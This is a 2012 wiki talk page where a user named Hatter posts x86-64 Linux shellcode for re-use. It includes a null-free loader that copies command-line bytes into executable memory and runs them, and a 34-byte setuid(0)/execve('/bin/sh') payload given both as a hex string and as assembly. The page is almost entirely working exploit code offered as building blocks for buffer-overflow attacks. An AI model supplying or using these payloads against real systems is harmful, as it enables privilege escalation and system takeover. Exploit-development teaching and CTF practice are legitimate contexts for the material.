Category talk:Shellcode

Hey guys, thought we could use some collections of this stuff for re-use purposes. Lets only contribute things we wrote ourselves, no copy pasting others' codes please! Hatter 05:23, 19 August 2012 (MSK)

Collections

This page needs shellcodes, and will be updated with it shortly. Thanks for your patience.

Linux

64-bit

Shellcode loader

You shouldn't need to use this algorithm as a buffer overflow payload, but it's null-free just in case. For 64-bit linux kernel 3 systems.

Usage:

  as inject.s -o inject.o ; ld inject.o -o inject
  ./inject "$(echo -en "\x90\x90\x90")"   

• The above example will execute 3 no ops.

.section .data .section .text .globl _start   _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer     push $0x9 pop %rax   xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi   push $0x7 pop %rdx push $0x22 pop %r10   push %rdi push %rdi pop %r8 pop %r9   syscall # The syscall for the mmap().   begin_inject: xor %rsi, %rsi push %rsi pop %rdi   inject_loop: cmpb %dil, (%rbx, %rsi, 1) je inject_finished mov (%rbx, %rsi, 1), %r10 mov %r10, (%rax,%rsi,1) inc %rsi jmp inject_loop   inject_finished: inc %rsi movb $0xc3, (%rax, %rsi, 1) call *%rax   exit: push $60 pop %rax xor %rdi, %rdi syscall

setuid(0); execve('/bin/sh'); - 34 bytes

Hatter 05:27, 19 August 2012 (MSK)

• \x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05

.section .data .section .text .globl _start _start: mov $0, %rdi mov $105, %rax syscall   # a function is f(%rdi,%rdx,%rsi) mov $59, %rax # execve(filename, argv, envp) push $0x00 mov %rsp, %rdx # argv is null mov %rsp, %rsi # envp is null mov $0x0068732f6e69622f, %rcx push %rcx mov %rsp, %rdi # filename is '/bin/sh\0' syscall   mov $60, %rax mov $0, %rdi syscall

Small one-way hashing algorithm

compute_hash: xor %rcx, %rcx xor %rdx, %rdx   compute_hash_again: sub (%rax, %rdx, 1), %cl rol $0xa, %rcx inc %rax cmp %dl, (%rax,%rdx,1) jne compute_hash_again ret